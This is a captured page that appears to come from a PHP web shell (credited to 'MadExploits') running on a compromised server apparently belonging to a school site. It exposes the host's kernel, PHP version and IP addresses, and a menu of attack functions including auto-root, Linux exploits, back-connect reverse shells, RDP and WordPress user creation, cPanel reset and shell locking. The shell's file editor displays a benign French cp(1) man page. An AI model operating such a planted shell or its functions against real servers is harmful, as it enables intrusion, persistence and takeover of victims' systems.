Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.188.218.219
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
man /
overrides /
fr /
man1 /
[ HOME SHELL ]
Name
Size
Permission
Action
cp.1
15.67
KB
-rw-r--r--
free.1
4.26
KB
-rw-r--r--
install.1
6.78
KB
-rw-r--r--
kill.1
2.97
KB
-rw-r--r--
mkdir.1
3.07
KB
-rw-r--r--
mkfifo.1
2.83
KB
-rw-r--r--
mknod.1
4.64
KB
-rw-r--r--
pgrep.1
6.95
KB
-rw-r--r--
pidof.1
2.5
KB
-rw-r--r--
pkill.1
17
B
-rw-r--r--
pmap.1
2.39
KB
-rw-r--r--
pwdx.1
1022
B
-rw-r--r--
skill.1
3.95
KB
-rw-r--r--
slabtop.1
3.43
KB
-rw-r--r--
tload.1
1.81
KB
-rw-r--r--
uptime.1
2.1
KB
-rw-r--r--
w.1
3.5
KB
-rw-r--r--
watch.1
6.04
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cp.1
.\" Copyright Andries Brouwer, Ragnar Hojland Espinosa and A. Wik, 1998. .\" .\" Distributed under GPL. .\" .\" Traduction : Christophe Blaess (ccb@club-internet.fr) .\" 14/12/1996 .\" Màj 15/12/1998 LDP-1.22 .\" Màj 05/06/1999 LDP-1.23 .\" Màj 30/05/2001 LDP-1.36 .\" Màj 16/01/2002 LDP-1.47 .\" Màj 25/07/2003 LDP-1.56 .\" Màj 08/07/2005 LDP-1.63 .\" Màj 20/07/2005 LDP-1.64 .\" Màj 01/05/2006 LDP-1.67.1 .\" Màj 09/05/2006 LDP-1.68.0 .\" Màj 03/07/2006 LDP-2.07.0 .\" Màj 14/08/2006 LDP-2.38.0 .\" Màj 19/06/2007 LDP-2.40.0 .\" Màj 31/10/2007 LDP-2.46.0 .\" Màj 02/11/2007 LDP-2.47.0 .\" Màj 19/11/2007 man-pages-extras-fr-0.7.9 .\" .TH CP 1 "Novembre 2003" LDP "Manuel de l'utilisateur Linux" .SH NOM cp \- Copier des fichiers et des répertoires .SH SYNOPSIS .BI "cp [" "options" "] " "fichier chemin" .br .BI "cp [" "options" "] " "fichier... répertoire" .sp Options POSIX\ : .B "[\-fiprR] [\-\-]" .sp Options POSIX.1-2001 supplémentaires\ : .B "[\-HLP] .sp Options GNU file-utils 4.0 (forme courte)\ : .br .B [\-abdfilprsuvxPR] .BI "[\-S " SUFFIXE ] .B "[\-V {numbered,existing,simple}]" .BI [\-\-backup= CONTROL ] .BI [\-\-sparse= QUAND ] .B "[\-\-help] [\-\-version] [\-\-]" .sp Options GNU file-utils 4.1 supplémentaires (forme courte)\ : .br .B [\-HLP] .B [\-\-copy\-contents] .B [\-\-no\-preserve] .BI [\-\-reply= COMMENT ] .B [\-\-remove\-destination] .B [\-\-strip\-trailing\-slashes] .BI [\-\-target\-directory= RÉP ] .SH DESCRIPTION .B cp sert à copier des fichiers (et éventuellement des répertoires). On peut aussi bien copier un fichier donné vers une destination précise que copier un ensemble de fichiers dans un répertoire. .PP Si le dernier argument correspond à un nom de répertoire, .B cp copie dans ce répertoire chaque .I fichier indiqué en conservant le même nom. Sinon, s'il n'y a que deux fichiers indiqués, il copie le premier sur le second. Une erreur se produit si le dernier argument n'est pas un répertoire, et si plus de deux fichiers sont indiqués. Par défaut, on n'effectue pas la copie de répertoires. .PP Ainsi, si /a est un répertoire, alors «\ cp \-r /a /b\ » copiera /a dans /b/a et /a/x dans /b/a/x au cas où /b existe déjà, mais il copiera /a sur /b et /a/x dans /b/x si /b n'existait pas encore. Enfin, si /b était un fichier ordinaire, la copie échouera. .PP Les autorisations d'accès des fichiers et des répertoires créés seront les mêmes que celles des fichiers d'origine masquées avec un ET binaire avec 0777, et modifiées par le umask de l'utilisateur (sauf si l'on invoque l'option \-p). Pendant la copie récursive de répertoires, les nouveaux répertoires verront leur masque temporairement étendu par un OU binaire avec S_IRWXU (0700), afin d'autoriser le processus d'y lire, écrire et vérifier le contenu. .PP .B cp ne fait rien lorsque l'on tente de copier un fichier sur lui-même (sauf éventuellement afficher un message d'erreur). Lorsque la copie se fait sur un fichier existant, celui-ci est ouvert en utilisant «\ open(chemin, O_WRONLY | O_TRUNC)\ ». Lorsque la copie a lieu dans un nouveau fichier, on invoque «\ open(chemin, O_WRONLY | O_CREAT, mode)\ ». Si l'ouverture d'un fichier existant échoue, et si l'option \-f a été invoquée, .B cp essaye de supprimer, avec .BR unlink (2), le fichier existant, puis de recréer un nouveau fichier. ./" .SH OPTIONS POSIX Posix définit quatre options et demi\ : .TP .B "\-f" Effacer les fichiers cibles existants (voir ci-dessus). .TP .B "\-i" Interroger l'utilisateur avant d'écraser des fichiers réguliers existants. La question est affichée sur stderr, et la réponse lue depuis stdin. .TP .B "\-p" Conserver le propriétaire, le groupe, les permissions d'accès et les horodatages du fichier original. Si la conservation du propriétaire ou du groupe est impossible, les bits Set\-UID et Set\-GID sont effacés. L'horodatage sera quand même légèrement différent entre l'original et la copie car l'opération de copie nécessite un accès en lecture au fichier source. .TP .B "\-R" Copier récursivement les répertoires, et gérer correctement les copies des fichiers spéciaux ou des FIFOs. .TP .B \-r Copier récursivement les répertoires mais la gestion des fichiers spéciaux n'est pas définie. En fait l'option \-r est autorisée, et même encouragée à se comporter comme l'option \-R, toutefois le comportement (stupide) de la version\ 4.0 GNU n'est pas interdit. .TP .B "\-\-" Indique la fin explicite de la liste des options. ./" .SH OPTIONS POSIX SUPPLÉMENTAIRES La spécification POSIX.1-2001 ajoute trois options qui spécifient comment gérer les liens symboliques. Lorsque l'on effectue une copie non récursive, les liens symboliques sont suivis. Lorsque l'on effectue une copie récursive à l'aide de l'option \-r, le résultat est dépend de l'implémentation. Lorsque l'on effectue une copie récursive à l'aide de l'option \-R\ : .TP .B \-H Suivre les liens symboliques donnés dans la liste des paramètres. Ne pas suivre les liens symboliques rencontrés lors de la copie récursive, simplement les copier en tant que liens symboliques. .TP .B \-L Suivre tous les liens symboliques, ceux qui apparaissent dans la liste des paramètres et ceux rencontrés pendant la copie récursive. .TP .B \-P Ne suivre aucun lien symbolique, ni ceux qui apparaissent dans la liste des paramètres, ni ceux rencontrés pendant la copie récursive. Simplement les copier en tant que liens symboliques. .LP Il n'y a pas de comportement par défaut, on doit spécifier le comportement désiré. ./" .SH SPÉCIFICITÉS GNU En général les fichiers sont écrits immédiatement après lecture de l'original, sauf si l'on utilise l'option .B \-\-sparse décrite plus bas. .PP Par défaut, .B cp ne copie pas les répertoires (voir l'option\ \fB\-r\fR). .PP .B cp refuse généralement de copier un fichier sur lui-même, avec l'exception suivante\ : si les options .BR \-\-force " et " \-\-backup sont indiquées, et si les fichiers .IR origine " et " copie sont identiques et se rapportent à un fichier régulier, .B cp effectuera une copie de sauvegarde (voir plus bas). Ceci peut servir à faire une sauvegarde d'un fichier avant de le modifier. .PP Par défaut, les liens symboliques ne sont pas suivis. ./" .SH OPTIONS GNU .TP .B "\-a, \-\-archive" Préserver autant que possible la structure et les attributs du fichier original lors de la copie. Cette option est équivalente à .IR \-dpPR . .TP .B "\-b" Voir la discussion sur les sauvegardes plus loin. .TP .BR "\-\-copy\-contents" " (depuis file-utils 4.1)" Effectue bêtement ce que faisait file-utils 4.0, essayant de copier le contenu des fichiers périphériques et des FIFO pendant une copie récursive. N'utilisez jamais cette option. Avec elle, «\ cp\ » peut aussi bien bloquer indéfiniment en lecture d'une FIFO ou /dev/tty, ou remplir le disque cible en copiant /dev/zero. .TP .B "\-d" Copier les liens symboliques en tant que tels plutôt que de copier les fichiers vers lesquels ils pointent. Préserver également les liens matériels entre les fichiers sources durant la copie. Avec file-utils 4.0, l'option longue \-\-no\-dereference était synonyme de \-d, avec file-utils 4.1, elle est synomnyme de \-P, alors que \-d est équivalent à \-\-no\-dereference \-\-preserve=links. .TP .B "\-f, \-\-force" Effacer les fichiers cibles existants au cas où une ouverture en écriture échoue et ne jamais demander confirmation. (C'est ainsi depuis file-utils 4.1. Avec file-utils 4.0, cette option était équivalent à la nouvelle \-\-remove\-destination.) .TP .BR "\-H" " (depuis file-utils 4.1)" Voir la description POSIX plus haut. .TP .B "\-i, \-\-interactive" Interroger l'utilisateur avant d'écraser des fichiers réguliers existants. .TP .B "\-l, \-\-link" Effectuer des liens matériels plutôt que des copies des fichiers réguliers. .TP .BR "\-L, \-\-dereference" " (depuis file-utils 4.1)" Voir la description POSIX plus haut. .TP .BR "\-\-no\-preserve=\fIATTRIBUTS\fP" " (depuis file-utils 4.1)" Ne pas conserver les attributs spécifiés. Voir l'option \-\-preserve plus loin. .TP .B "\-p, \-\-preserve" Conserver le propriétaire, le groupe, les permissions d'accès et les horodatages du fichier original. .TP .BR "\-\-preserve=\fIATTRIBUTS\fP" " (depuis file-utils 4.1)" ATTRIBUTS peut être une des valeurs parmi «\ mode\ » (permissions), «\ ownership\ » (propriétaire et groupe), «\ timestamps\ », «\ links\ », «\ all\ » (toutes les valeurs précédentes). .TP .BR "\-P, \-\-no\-dereference" " (depuis file-utils 4.1)" Voir la description POSIX plus haut. Ceci remplace la signification file-utils 4.0 de l'option \-P, qui était synonyme de \-\-parents. Voir également l'option \-d plus haut. .TP .BR "\-\-parents" " (dans file-utils 4.0, également l'option courte \-P)" Construire le nom de chaque fichier destination en ajoutant au répertoire cible une barre oblique «\ /\ » et le nom du fichier source indiqué. Le dernier argument de .B cp doit être un répertoire existant. Par exemple, la commande «\ cp \-\-parents a/b/c rép_existant\ » copie le fichier .I a/b/c en .I rép_existant/a/b/c, tout en créant les sous-répertoires intermédiaires manquants. .TP .B "\-r" Dans file-utils 4.1\ : synonyme de \-R. Dans file-utils 4.0\ : Copier récursivement les répertoires, copiant tout ce qui n'est pas répertoire ou lien symbolique (c'est-à-dire également les FIFO et fichiers spéciaux) comme s'ils étaient des fichiers réguliers. Ce comportement débile est obtenu avec file-utils 4.1 si l'option \-\-copy\-contents est fournie. .TP .B \-R Copier récursivement les répertoires, en préservant tout ce qui n'est pas répertoire. .TP .BR "\-\-reply=\fICOMMENT\fP" " (depuis file-utils 4.1)" COMMENT peut être une des valeurs parmi «\ yes\ », «\ no\ », «\ query\ », spécifiant qu'à toutes les questions la réponse sera respectivement «\ yes\ », «\ no\ » ou obtenue auprès de l'utilisateur. .TP .BR "\-\-remove\-destination" " (depuis file-utils 4.1)" Supprimer chaque fichier cible existant avant d'effectuer la copie. Avec file-utils 4.0, cette option était impliquée par \-f. .TP .BI "\-\-sparse=" "QUAND" [Ndt\ : sparse = clairsemé] Un fichier à trous (sparse file) contient des séquences d'octets nuls n'occupant pas de place sur le disque. L'appel système «\ read\ » lit ces données comme des zéros. Non seulement cela permet d'économiser de la place sur le disque, mais on gagne également de la vitesse de lecture. De nombreux fichiers binaires (exécutables par exemple) contiennent des séquences importantes de zéros. Par défaut, .B cp détecte les trous dans les fichiers en utilisant une heuristique grossière et restituera les trous dans les fichiers de sortie. .RS .PP L'argument \fIQUAND\fP peut prendre l'une des valeurs suivantes\ : .TP .B auto Le comportement par défaut, le fichier de sortie est troué si des trous sont détectés dans le fichier d'entrée. .TP .B always Toujours trouer les fichiers de sortie. Cette option sert lorsque les fichiers d'entrée se trouvent sur un système de fichiers n'acceptant pas les trous, et que les fichiers de sortie se trouveront sur un système les acceptant. .TP .B never Ne jamais essayer de faire de trous dans les fichiers de sortie. Si vous trouvez une utilité à cette option, faites-le nous savoir... .RE .TP .BR "\-\-strip\-trailing\-slashes" " (depuis file-utils 4.1)" Supprimer la barre oblique «\ /\ » de fin de chaque argument source. (Ceci peut modifier l'interprétation dans le cas d'un lien symbolique vers un répertoire.) .TP .B "\-s, \-\-symbolic-link" Créer des liens symboliques plutôt que des copies des fichiers réguliers. Tous les noms de fichiers sources doivent être absolus (commençant par «\ /\ ») à moins que les fichiers destinations résident dans le répertoire en cours. Cette option affiche un message d'erreur pour les systèmes de fichiers ne supportant pas les liens symboliques. .TP .B "\-S" Suffixe de sauvegarde, voir plus loin. .TP .BR "\-\-target\-directory=\fIRÉP\fP" " (depuis file-utils 4.1)" Spécifier le répertoire cible. Destinée à être utilisée avec .BR xargs (1), comme dans «\ ls | xargs cp \-\-target\-directory=../d\ ». .TP .B "\-u, \-\-update" Ne pas effectuer la copie si le fichier destination existant (autre qu'un répertoire) a une date de modification égale ou plus récente que celle du fichier source. .TP .B "\-v, \-\-verbose" Afficher le nom de chaque fichier avant de le copier. .TP .B "\-x, \-\-one-file-system" Ignorer les sous-répertoires se trouvant sur un système de fichiers différent de celui du départ de la copie. .TP .B "\-Z" Fixez le contexte de sécurité SELinux du fichier de destination au type par défaut. .TP .BI "\-\-context" "[=CTX]" Comme \fB\-Z\fR ou, si CTX est spécifié, fixez le contexte de sécurité SELinux ou SMACK à CTX. .SH OPTIONS DE SAUVEGARDE GNU Les versions GNU des programmes comme .BR cp , .BR mv , .BR ln , .B install et .B patch créeront au besoin une copie de sauvegarde des fichiers à écraser, à modifier ou à détruire. On demande une copie de sauvegarde à l'aide de l'option \-b, on indique la nomenclature à adopter avec l'option \-V, et si la sauvegarde se fait avec un suffixe, celui-ci est précisé avec l'option \-S. .TP .B "\-b, \-\-backup" Créer une copie de sauvegarde des fichiers à écraser ou à détruire. .TP .BI \-\-backup= CONTROL (Depuis fileutils-4.1.) .TP .BI "\-S " SUFFIXE ", \-\-suffix=" SUFFIXE Ajouter le .I SUFFIXE indiqué à chaque fichier de sauvegarde créé. Si cette option n'est pas indiquée, on utilisera la valeur de la variable d'environnement .BR SIMPLE_BACKUP_SUFFIX . Si la variable .B SIMPLE_BACKUP_SUFFIX n'existe pas, la valeur par défaut est «\ ~\ ». .TP .BI "\-V " MÉTHODE ", \-\-version\-control=" MÉTHODE .RS Préciser la nomenclature des fichiers de sauvegarde La .I MÉTHODE indiquée peut être «\ numbered\ » («\ t\ »), «\ existing\ » («\ nil\ »), ou «\ never\ » («\ simple\ »). Si cette option n'est pas indiquée, la valeur de la variable d'environnement .B VERSION_CONTROL est utilisée, et si la variable .B VERSION_CONTROL n'existe pas, la valeur par défaut est «\ existing\ ». .PP Cette option correspond à la variable «\ version\-control\ » sous Emacs. Les .IR MÉTHODES valides (les abréviations non ambiguës sont acceptées) sont\ : .TP .BR t ", " numbered Toujours faire une sauvegarde numérotée. .TP .BR nil ", " existing Faire une sauvegarde numérotée des fichiers en ayant déjà une précédente, et une sauvegarde simple pour les autres. .TP .BR never ", " simple Faire toujours une sauvegarde simple. .RE .SH OPTIONS STANDARDS GNU .TP .B "\-\-help" Afficher un message d'aide sur la sortie standard, et se terminer correctement. .TP .B "\-\-version" Afficher un numéro de version sur la sortie standard, et se terminer correctement. .TP .B "\-\-" Fin de la liste d'options. .SH ENVIRONNEMENT Les variables LANG, LC_ALL, LC_CTYPE et LC_MESSAGES ont leurs significations habituelles. Pour la version GNU, les variables SIMPLE_BACKUP_SUFFIX et VERSION_CONTROL configurent la nomenclature adoptée pour les sauvegardes de fichiers. .SH CONFORMITÉ POSIX.2. .SH NOTES Cette page décrit la version de .B cp trouvée dans le paquetage fileutils-4.1, d'autres versions peuvent différer légèrement. .SH TRADUCTION .PP Ce document est une traduction réalisée par Christophe Blaess <http://www.blaess.fr/christophe/> le 5\ décembre\ 1996, mise à jour par Alain Portal <aportal AT univ-montp2 DOT fr> le 8\ juillet\ 2005 et révisée le 19\ novembre\ 2007. .PP L'équipe de traduction a fait le maximum pour réaliser une adaptation française de qualité. La version anglaise la plus à jour de ce document est toujours consultable via la commande\ : «\ \fBLANG=C\ man\ 1\ cp\fR\ ». N'hésitez pas à signaler à l'auteur ou au traducteur, selon le cas, toute erreur dans cette page de manuel.
Close